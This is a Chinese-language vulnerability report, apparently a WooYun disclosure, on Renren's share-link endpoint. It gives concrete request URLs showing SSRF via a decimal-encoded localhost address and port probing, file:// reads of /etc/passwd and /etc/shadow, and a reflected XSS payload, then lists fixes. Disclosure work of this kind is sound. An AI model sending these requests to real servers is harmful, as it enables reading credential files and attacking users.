漏洞详情
简要描述:
人人网的分享网页功能存在诸多漏洞. 这些漏洞可导致跨站攻击,任意文件读取,代理攻击和信息泄露等各种安全隐患.
详细说明:
人人网SNS社区的分享站外连接功能存在严重安全隐患, 其后台调用的Ajax接口为 http://share.renren.com/parse_share.do
向其接口提交参数link=*用于适用人人网服务器读取网络共享信息和视频图片信息等.但是由于底层适用类curl库,而没有正确过滤URL导致可以读取内网诸多信息.
如提交
http://share.renren.com/parse_share.do?link=http://2130706433
可读取127.0.0.1服务器上的信息. 也可做端口探测, 如http://share.renren.com/parse_share.do?link=http://2130706433:8080
原因是因为IP地址127.0.0.1可换算成为 (127*256^3)+(0*256^2)+(0*256)+1=2130706433, 访问2130706433此地址则代表访问127.0.0.1
另由于curl库支持多种协议, 如file://, ftp://, telnet://等, 并且file:// 支持目录读取, 导致服务器文件信息泄露, 可以读取任意的目录和文件.
如提交
http://share.renren.com/parse_share.do?link=file:///etc/passwd
http://share.renren.com/parse_share.do?link=file:///etc/sysconfig/
且由于其服务器运行在root权限上, 权限非常之大, 可读取shadow等内容用于暴力猜解密码.如:
http://share.renren.com/parse_share.do?link=file:///etc/shadow
并且该网页返回的Json信息没有经过HTML值过滤,可用于在Share.renren.com下制造跨站脚本用于攻击
http://share.renren.com/parse_share.do?link=%3Cinput%20οnclick=alert('Hola!wooyun!')%3E
漏洞证明:
http://share.renren.com/parse_share.do?link=%3Cinput%20οnclick=alert('Hola!wooyun!')%3E
http://share.renren.com/parse_share.do?link=http://2130706433:8080
http://share.renren.com/parse_share.do?link=file:///etc/shadow
修复方案:
对主机地址规则做正确的正则匹配,并且限制访问协议,做HTML输出过滤和降低WEB服务器权限等级.